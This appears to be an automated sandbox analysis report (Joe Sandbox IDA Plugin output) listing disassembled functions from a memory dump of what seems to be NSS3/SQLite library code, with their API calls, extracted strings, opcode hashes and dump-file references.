Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction ID: 5c68758b613dd9a766786d7a7a526e109fe71757a502387342787647f2b06efa
Opcode Fuzzy Hash: 1c667550248587a7fde8d89a5d179766eb1ad02d10f5329b4b13a2ffad4d1529
Instruction Fuzzy Hash: F452AF71E05228DFDB04CF99C980B9DBBB2FF48318F15916AD859EB752D730A846CB80

Function 6C6B9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B9ED6

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C6B9EE4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F38

Part of subcall function 6C6BD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C6B9F0B), ref: 6C6BD03B
Part of subcall function 6C6BD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6BD04E
Part of subcall function 6C6BD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C6BD07B
Part of subcall function 6C6BD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C6BD08E
Part of subcall function 6C6BD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6B9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C6B9F59

Part of subcall function 6C6B9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9
Part of subcall function 6C6B9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE
Part of subcall function 6C6B9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: e0161a4a089a2d8325c13b07d1c8cbdb1dd59d199673a3e60fe1ca6c5bdd8558
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: CF110BB5F042026BF7109B659C00B9B73A9AFA635CF140134E50AAB740FB71E539C39D

Function 6C76CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C76D086
PR_Malloc.NSS3(00000001), ref: 6C76D0B9
PR_Free.NSS3(?), ref: 6C76D138

Strings

>, xrefs: 6C76CF5B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: dadeca0df0336e890a93f9c09d5546fdac01e6f59edf48890e3e18a2e203b027
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD18A32B506460BEF18487F8EA13EA77938762374F784339DD618BFE5E65888438305

Function 6C5EAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

pvl, xrefs: 6C5EADA7
0vl, xrefs: 6C5EACC0, 6C5EAD22, 6C5EAD5E, 6C5EAE45
winUnlock, xrefs: 6C5EAE18
winUnlockReadLock, xrefs: 6C5EAE9F
Pvl, xrefs: 6C5EADDB, 6C5EADF5, 6C5EAE6A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlock$winUnlockReadLock
API String ID: 0-792151856
Opcode ID: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction ID: eecee8da5ac6bf1c60882fbbe5d7e3ac746ab80e53bce509b454173c4e46b59e
Opcode Fuzzy Hash: e20b9e19ba0afe291d9b8cee9bc22bb4791b3380891b8ef03cf62bb322d0ebc0
Instruction Fuzzy Hash: E671BD706083449FDB04CF28E894AAABBF5FF89304F14CA28F95997351E730A985CBD1

Function 6C70AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction ID: 26f18300c447125f1e7eb02779cb283940893cb3118e5255baca8150d3083427
Opcode Fuzzy Hash: 794bfaa1980d3c154a5c416d9e425536d3842891f06a5ee8c1baa9c35b8d8776
Instruction Fuzzy Hash: A5F1E1B1F012598BDB04CFA9DA547AE77F0AB8A308F25823DD905D7B44E770AA51CBC4

Function 6C6FDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5D5001,?), ref: 6C6FE2DA

Strings

W, xrefs: 6C6FE111

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction ID: 81f911910fb2354c947499ff244de95da27b7d87c1d6102bec37ca2ab405f34f
Opcode Fuzzy Hash: 40b88c6e33cd5cace35e86ebe49c0735146c25b2cd4516ec4412a20f04fedf37
Instruction Fuzzy Hash: D3C11772A092558BDB04CE2AC4907EA7FB3BF86308F284169DD799BB41D731A907C7D4

Function 6C6C0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C6C1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C6C1086

Strings

h(ll, xrefs: 6C6C1062, 6C6C105D, 6C6C0F37, 6C6C1081, 6C6C1082
h(ll, xrefs: 6C6C0E55, 6C6C0EC4, 6C6C0F3A, 6C6C0FA7

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(ll$h(ll
API String ID: 1297977491-1774252009
Opcode ID: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction ID: 8cacc4eec63e3fbaf3f0f4d0275ff84627187728bee462977504022fabc56833
Opcode Fuzzy Hash: 67f5b1fcb83da880fb63f573082336db8c87943e3a4081e198a5746fec37010d
Instruction Fuzzy Hash: 91A14BB1B0125A9FCF08CF99C894AEEBBB6FF4C314B148129E914A7700D735AD41CBA5

Function 6C5E4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

pvl, xrefs: 6C5E4E1C, 6C5E4E81, 6C5E4FDE, 6C5E5047, 6C5E50BB, 6C5E51A3, 6C5E526C
0vl, xrefs: 6C5E4EDE, 6C5E4F82
winUnlockReadLock, xrefs: 6C5E5125
Pvl, xrefs: 6C5E5019, 6C5E50FA, 6C5E5157, 6C5E51DE, 6C5E51F2, 6C5E520D, 6C5E5220, 6C5E52A2, 6C5E52B5

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: 0vl$Pvl$pvl$winUnlockReadLock
API String ID: 0-1853705913
Opcode ID: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction ID: 3cbedef075596b0c078a03242bfe68d756f01b628b04aabbd222c3718a377c1c
Opcode Fuzzy Hash: 0ed5cc44f3942988c63461552229b44bce89009f2c210b17fd9df82dd5d138e0
Instruction Fuzzy Hash: 25E12B70A18344CFDB04DF28E89865ABBF0FF89304F558A6DF89997351E7309985CB82

Function 6C5E6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C5E702B
noskipscan*, xrefs: 6C5E7067
*?[, xrefs: 6C5E7034, 6C5E7052, 6C5E7070
sz=[0-9]*, xrefs: 6C5E7049

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction ID: 92c49b672d14e46bbccf307794f265cacb030f5e1c0adf67c6e2e1a140b3a08a
Opcode Fuzzy Hash: f0f4bade09ec0670cfc77a1599e0919988e2e42272c72179ebe5f85bfa625548
Instruction Fuzzy Hash: FC716C32F043154BEB14CE6DCC8039E77A29F89394F250678CD69ABBC6EA719C4687C1

Function 6C603EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6C603FAA, 6C604185
sqlite_temp_master, xrefs: 6C60460F
sqlite_master, xrefs: 6C60463F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction ID: cea33bdaf64ff83b4ba73afc552ab02b30a1fd23bf808f6a75a5a13d1822b12a
Opcode Fuzzy Hash: 13cb1de56c6c577b4cd9dc57d243c00aebf838c9dfbd30ced650c0011ee71b8e
Instruction Fuzzy Hash: 3022AC2174D1554FD72D8B2682A06F6BBF29F67308B6845ACCAE17FE42D261EC41C788

Function 6C73BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C73C0B6

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction ID: f30634c0bb76df83daecc7d63bef2afec589e4a26fea88a7d49689c469cbb107
Opcode Fuzzy Hash: 506eee700f2dbc4191454ecb41f8d5d0d7223a0a5c1c5bf7975cfba115cccf7a
Instruction Fuzzy Hash: 7D92B474A00269CFDB04DF58CA80BAEB7B2FF89309F245268D419A7B92D735EC45CB54

Function 6C5D3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5D3EA9

Strings

0, xrefs: 6C5D3DAB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction ID: 6e2761b8652806c6dcf6819d7c5a0bcd90008ad506584de05129c4f42721581d
Opcode Fuzzy Hash: dd16d9e3c4b518be53289aa781cd2655386d52825df6f71bf5c6ab524c7a801d
Instruction Fuzzy Hash: 72512A31E4927A8ADB158A7D8C603FFBBB1DB42314F1E4329C5A167BC1D23465458794

Function 6C67EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C67F0F9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: cf8c58d72dda11d0174f5d3a0c4087572fa7c75b649267e6ecac87be26bd1c5c
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 69919375A0061A8FCB24CF68C891AAEB7F1FF85324F244B2DD56297BC0D730A905CB65

Function 6C6A2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6C7929), ref: 6C6A2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6C7929), ref: 6C6A2FE0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction ID: 9ab6f43318753b15c120202def51ddfa4001fcb99b837c426b889048feaa219a
Opcode Fuzzy Hash: 4a656108be18da6d47c24cc2c8ac13f526c4c1b274535cb3a5808e77de7152a1
Instruction Fuzzy Hash: 2E512671A459118FD714CEEAC880BAAB3B1FF46318F250139D9199BB02D731ED47CB89

Function 6C6AED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C6AEE3D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 8f9cf25bb5696d1cf8ac485a989272bafbf98db9796f59bfbbe95dc0a453724e
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: FE71CFB2E01B018BD718CF99C8806AAB7F2FB89304F14862DD85697B91D734ED12CB95

Function 6C5D5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5D6013

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction ID: 0bc60c790d15b52a294fe78b9023c1d560ff737a3ec6f2b9e672f9e87eeec3d4
Opcode Fuzzy Hash: 260cba9ebfff07642fd90ab1c4a1d71ff9639c562215b12fa77f5e6517cd9e90
Instruction Fuzzy Hash: FAC127B1A043068BDB04CF5DCC907AAB7B2EF45318F668919D995CBB42DB31F842C799

Function 6C765E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C765B90: PR_Lock.NSS3(00010000,?,00000000,?,6C64DF9B), ref: 6C765B9E
Part of subcall function 6C765B90: PR_Unlock.NSS3 ref: 6C765BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C765E23,6C64E154), ref: 6C765EBF

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
